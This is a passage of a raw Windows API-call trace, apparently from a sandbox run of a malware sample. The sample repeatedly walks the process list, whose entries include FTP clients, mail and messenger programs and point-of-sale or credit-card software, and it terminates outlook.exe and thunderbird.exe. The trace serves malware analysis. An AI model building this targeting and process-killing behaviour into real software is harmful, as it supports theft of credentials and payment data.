dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0060.351] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0060.353] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0060.354] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0060.355] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0060.357] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0060.358] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0060.360] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0060.362] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0060.364] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0060.365] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0060.367] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0060.368] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0060.370] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0060.371] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0060.372] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0060.374] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0060.375] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0060.436] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.438] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.440] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.442] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.443] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.445] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.447] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.448] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.450] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.452] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0060.453] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0060.455] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0060.457] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0060.459] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0060.462] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0060.464] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0060.467] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0060.469] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x998) returned 0x180 [0060.610] TerminateProcess (hProcess=0x180, uExitCode=0x0) returned 1 [0060.616] CloseHandle (hObject=0x180) returned 1 [0060.616] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0060.619] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0060.621] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0060.625] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0060.628] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0060.630] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x9e8) returned 0x180 [0060.630] TerminateProcess (hProcess=0x180, uExitCode=0x0) returned 1 [0060.632] CloseHandle (hObject=0x180) returned 1 [0060.632] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0060.634] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0060.637] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0060.639] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0060.642] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.645] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.647] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.649] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.651] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.654] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.656] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0060.897] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.899] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.901] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.903] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.905] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.908] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.910] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.912] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.914] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.916] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.918] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0060.920] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0060.921] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0060.923] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0060.925] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0060.927] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.929] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.931] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0060.933] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0060.934] Process32NextW (in: hSnapshot=0x128, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 0 [0060.936] CloseHandle (hObject=0x128) returned 1 [0060.936] Sleep (dwMilliseconds=0x1f4) [0063.354] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0063.362] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0063.364] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0063.366] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0063.367] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.369] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0063.370] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0063.372] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0063.373] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0063.375] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0063.376] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0063.378] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.379] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.381] Process32NextW (in: hSnapshot=0x1a0, 